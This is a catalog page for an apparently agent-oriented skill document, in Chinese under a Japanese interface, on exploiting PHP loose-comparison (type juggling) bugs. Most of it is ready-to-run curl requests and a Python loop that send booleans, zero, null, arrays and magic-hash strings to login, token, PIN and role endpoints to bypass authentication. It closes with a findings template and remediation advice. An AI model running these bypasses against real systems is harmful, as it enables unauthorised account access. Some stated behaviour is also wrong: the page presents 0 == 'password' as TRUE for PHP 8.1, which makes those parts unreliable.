UI はローカライズ済みです。スキルの紹介と説明文書は選択した言語へ AI が自動翻訳し、コード・コマンド・パス・専門用語は原文のままです。原作者の文書が優先されます。
スキルを探す
生産性・共同作業 · SKILL.md

exploiting-type-juggling-vulnerabilities

exploiting-type-juggling-vulnerabilities

利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。

Independent GitHub snapshot · Automated classification · Original documentation governs

スキルの説明

GitHub

name: exploiting-type-juggling-vulnerabilities description: 利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。 domain: cybersecurity subdomain: web-application-security tags: [type-juggling, php-security, loose-comparison, authentication-bypass, magic-hash, type-coercion, web-security] version: "1.0" author: mahipal license: Apache-2.0

利用类型转换漏洞(Exploiting Type Juggling Vulnerabilities)

适用场景

  • 测试 PHP Web 应用程序的身份验证绕过漏洞时
  • 评估密码比较和哈希验证逻辑时
  • 测试使用宽松比较(== 而非 ===)的应用程序时
  • 对处理 JSON 或反序列化输入的 PHP 应用程序进行代码审查时
  • 评估依赖类型相关比较的输入验证时

前置条件

  • 了解 PHP 类型系统和宽松比较行为
  • 掌握魔术哈希值(0e 前缀)及其科学记数法解释
  • 使用 Burp Suite 进行请求操纵和参数类型更改
  • PHP 开发环境,用于本地测试载荷
  • 来自 PayloadsAllTheThings 的魔术哈希字符串集合
  • 能够发送 JSON 或序列化数据以控制输入类型

工作流程

步骤 1 — 识别类型转换目标

# 查找具有以下特征的 PHP 应用程序:
# - 登录/认证表单
# - 密码比较端点
# - 接受 JSON 输入的 API 端点
# - 令牌/哈希验证
# - 用于访问控制的数值比较

# 检查应用程序是否接受 JSON 输入(允许类型控制)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# 如果应用程序通常使用表单数据,尝试 JSON
# 表单:username=admin&password=test
# JSON:{"username":"admin","password":true}

步骤 2 — 利用宽松比较实现身份验证绕过

# PHP 宽松比较:0 == "password" 返回 TRUE
# 通过 JSON 发送整数 0 作为密码
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# 发送布尔值 true(宽松比较中 TRUE == "任意字符串")
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# 发送空数组(数组绕过 strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# 发送 null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp 漏洞:strcmp(array, string) 返回 NULL
# 宽松比较中 NULL == 0 为 TRUE
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

步骤 3 — 利用魔术哈希碰撞

# PHP 将 "0e..." 字符串视为科学记数法(0 * 10^N = 0)
# 如果哈希以 "0e" 开头且后跟纯数字,则在宽松比较中等于 0

# 魔术 MD5 哈希(在宽松比较中均等于 0):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# 如果应用程序比较 md5(user_input) == stored_hash:
# 且 stored_hash 以 "0e" 开头且后续只有数字
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# 魔术 SHA1 哈希:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# 使用已知魔术哈希值进行测试
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "测试:$payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

步骤 4 — 利用访问控制中的比较漏洞

# 数值比较绕过
# 如果:if($user_id == $target_id) { // 允许访问 }
# "0" == "0e12345" 为 TRUE(均等于 0)

# 字符串到整数转换
# "1abc" == 1 在 PHP 中为 TRUE(字符串截断为整数)
curl "http://target.com/api/user?id=1abc"

# 用于角色检查的布尔比较
# if($role == true) 对任何非空字符串都授予访问权限
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# 用于可选检查的 Null 比较
# if($token == null) 可能跳过验证
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

步骤 5 — 通过反序列化输入利用

# PHP json_decode() 保留类型
# 攻击者通过 JSON 控制类型:true、0、null、[]

# 绕过令牌验证
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# 绕过数字 PIN 验证
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# 使用零值绕过
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() 类型转换
# 构造整数类型而非字符串类型的序列化对象
# s:8:"password"; -> i:0;(字符串 "password" 改为整数 0)

步骤 6 — 自动化类型转换测试

# 针对每个参数测试所有常见类型转换载荷
# 在 Burp Intruder 中使用类型转换载荷列表

# 基于 JSON 测试的载荷列表:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python 自动化脚本
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"

核心概念

概念定义
宽松比较(==)PHP 比较,在比较值之前执行类型强制转换
严格比较(===)PHP 比较,要求值和类型都匹配
魔术哈希(Magic Hash)哈希以 "0e" 开头并后跟数字的字符串,在宽松比较中等于 0
类型强制(Type Coercion)比较期间类型之间的自动转换(字符串转整数、null 转 0)
strcmp 绕过(strcmp Bypass)将数组传递给 strcmp() 返回 NULL,在宽松比较中等于 0
JSON 类型控制(JSON Type Control)使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null)
科学记数法(Scientific Notation)PHP 在数值比较中将 "0eN" 字符串解释为 0

工具与系统

工具用途
Burp Suite用于更改请求中参数类型的 HTTP 代理
PHP 交互式 Shell本地测试类型转换行为
PayloadsAllTheThings精选的魔术哈希和类型转换载荷列表
phpggcPHP 通用 Gadget 链,用于反序列化利用
自定义 Python 脚本自动化类型转换载荷测试
PHPStan/Psalm检测代码中宽松比较的静态分析工具

常见场景

  1. 通过布尔值绕过身份验证 — 发送 "password": true 作为 JSON 以绕过宽松比较密码验证
  2. 魔术哈希碰撞 — 使用已知魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,与存储的哈希匹配
  3. strcmp 数组绕过 — 发送 password[]=anything,使 strcmp() 返回 NULL,绕过密码比较
  4. PIN/OTP 绕过 — 发送整数 0 作为验证码,与实际代码的 "0e..." 哈希匹配
  5. 角色提升 — 发送 "role": true,在宽松比较访问控制中匹配任何非空角色字符串

输出格式

## 类型转换漏洞报告
- **目标**:http://target.com
- **语言**:PHP 8.1
- **框架**:Laravel

### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true(布尔值) | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708(魔术哈希) | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0(整数) | 数值比较 | OTP 绕过 |

### PHP 比较表(相关)
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |

### 修复建议
- 在安全关键代码中将所有 == 替换为 ===(严格比较)
- 使用 password_verify() 进行密码比较,而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明
保存したスキル